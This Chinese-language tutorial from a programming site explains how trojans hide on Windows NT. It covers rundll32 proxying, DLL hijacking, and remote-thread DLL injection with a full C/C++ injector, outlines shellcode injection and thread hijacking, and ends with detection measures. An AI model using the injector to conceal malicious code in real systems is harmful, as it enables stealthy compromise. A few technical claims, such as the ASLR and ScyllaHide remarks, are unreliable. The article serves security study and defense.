首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

Windows NT 木馬進程隱藏技術深度剖析:從 DLL 注入到遠端執行緒

     編輯:關於C++

在 Windows 9x 時代,將進程註冊為系統服務即可從工作管理器隱形;但在 Windows NT 系列(NT 4.0、2000、XP 及後續版本)中,任務管理器直接枚舉核心物件,傳統隱形手段失效。本文系統剖析 NT 核心下木馬隱藏進程的三大演進路徑:**API 欺騙、DLL 寄生、遠端執行緒注入**,並提供核心代碼實現與偵測對策。

核心觀念:進程 vs. DLL

  • EXE/COM 執行時建立獨立進程,可被工具列舉(PSAPI、ToolHelp、PDH)。
  • DLL 無獨立進程,必須被宿主進程 LoadLibrary 載入,進程列表僅顯示宿主進程。
  • 結論:將惡意碼封裝為 DLL,注入受信任進程 (如 explorer.exe),即可達到「隱形」與「提權」雙重效果。

第一代:Rundll32.exe 代理執行

Rundll32.exe MyMalicious.dll,EntryPoint
  • 進程列表顯示 Rundll32.exe,而非木馬檔名。
  • 缺點:極易被發現(異常參數)、無法存取宿主進程私有記憶體。

第二代:特洛伊 DLL (DLL 攔截/轉發)

  1. 替換系統 DLL(如 wsock32.dll),原檔改名 wsockold.dll。
  2. 偽造 DLL 導出表,未攔截函數轉發至原 DLL(#pragma comment(linker, "/export:func=wsockold.func"))。
  3. 攔截特定函數(如 send/recv)植入後門邏輯。

防禦:Windows 2000 引入 %SystemRoot%\System32\dllcache + Windows File Protection (WFP),自動還原受保護 DLL。現代系統更有簽名驗證、完整性等級,此手法已極難存活。

第三代:遠端執行緒注入 (Remote Thread Injection) —— 目前主流

核心流程:OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread(LoadLibraryW) → WaitForSingleObject。

完整實作碼 (C/C++)

BOOL InjectDll(DWORD dwPid, LPCWSTR pszDllPath) {
    // 1. 開啟目標進程,需 VM_OPERATION | VM_WRITE | CREATE_THREAD
    HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
    if (!hProc) return FALSE;

    // 2. 在目標進程配置記憶體寫入 DLL 完整路徑
    SIZE_T cb = (wcslen(pszDllPath) + 1) * sizeof(WCHAR);
    LPVOID pRemotePath = VirtualAllocEx(hProc, nullptr, cb, MEM_COMMIT, PAGE_READWRITE);
    if (!pRemotePath) { CloseHandle(hProc); return FALSE; }
    WriteProcessMemory(hProc, pRemotePath, (LPCVOID)pszDllPath, cb, nullptr);

    // 3. 取得 LoadLibraryW 位址 (Kernel32 在所有進程基址相同)
    PTHREAD_START_ROUTINE pLoadLib = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");

    // 4. 建立遠端執行緒執行 LoadLibraryW(pRemotePath)
    HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0, pLoadLib, pRemotePath, 0, nullptr);
    if (!hThread) { VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE); CloseHandle(hProc); return FALSE; }

    // 5. 等待執行緒結束並清理
    WaitForSingleObject(hThread, INFINITE);
    VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

關鍵技術細節

  • Kernel32.dll 為系統核心模組,ASLR 啟用前所有進程基址相同;ASLR 下需透過 GetModuleHandleEx 或共享區段取得實際位址。
  • 目標進程需具備足夠權限(通常需 SeDebugPrivilege 或同一用戶會話)。
  • 注入後 DLL 的 DllMain(DLL_PROCESS_ATTACH) 即在宿主進程上下文執行,擁有宿主完整權限。

進階變種:無 DLL 殘留的純記憶體殼碼注入

  1. VirtualAllocEx 配置 PAGE_EXECUTE_READWRITE 記憶體。
  2. WriteProcessMemory 寫入位置無關殼碼。
  3. CreateRemoteThread 直接指向殼碼入口,無 LoadLibrary 痕跡。
  4. 或 Thread Hijacking:SuspendThread → GetThreadContext → 修改 RIP/EIP → ResumeThread,劫持現有執行緒。

偵測與防禦策略

層面手段
進程模組枚舉PSAPI EnumProcessModulesEx 列舉所有載入 DLL,比對白名單/簽名。
記憶體掃描掃描 MEM_PRIVATE | PAGE_EXECUTE_READWRITE 異常區域,檢查 PE 標頭殘留。
API 監控ETW / Kernel Callback 監控 OpenProcess, VirtualAllocEx, CreateRemoteThread 可疑序列。
完整性驗證啟用 HVCI (Hypervisor-Protected Code Integrity)、CFG、ACG 防止非簽名碼執行。
行為分析EDR 監控 explorer.exe 異常網路連線、檔案寫入、登錄修改。

工具推薦

  • Process Hacker / Process Explorer:檢視進程模組、執行緒、記憶體區域。
  • HollowsHunter / ScyllaHide:專門偵測 Process Hollowing、DLL 注入。
  • Volatility:記憶體取證分析注入痕跡。

結語

從 Rundll32 代理到 CreateRemoteThread 注入,再到無檔案記憶體殼碼,木馬隱形技術始終圍繞「在受信進程上下文執行任意碼」這一核心。現代防禦體系已從「檔案掃描」轉向「行為監控 + 記憶體完整性驗證」。開發者與防禦者皆應深入理解 Windows 核心物件模型、執行緒調度與記憶體管理,方能在攻防博弈中保持優勢。

聲明:本文僅供安全研究與防禦教學,嚴禁用於惡意軟體開發或非法滲透。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved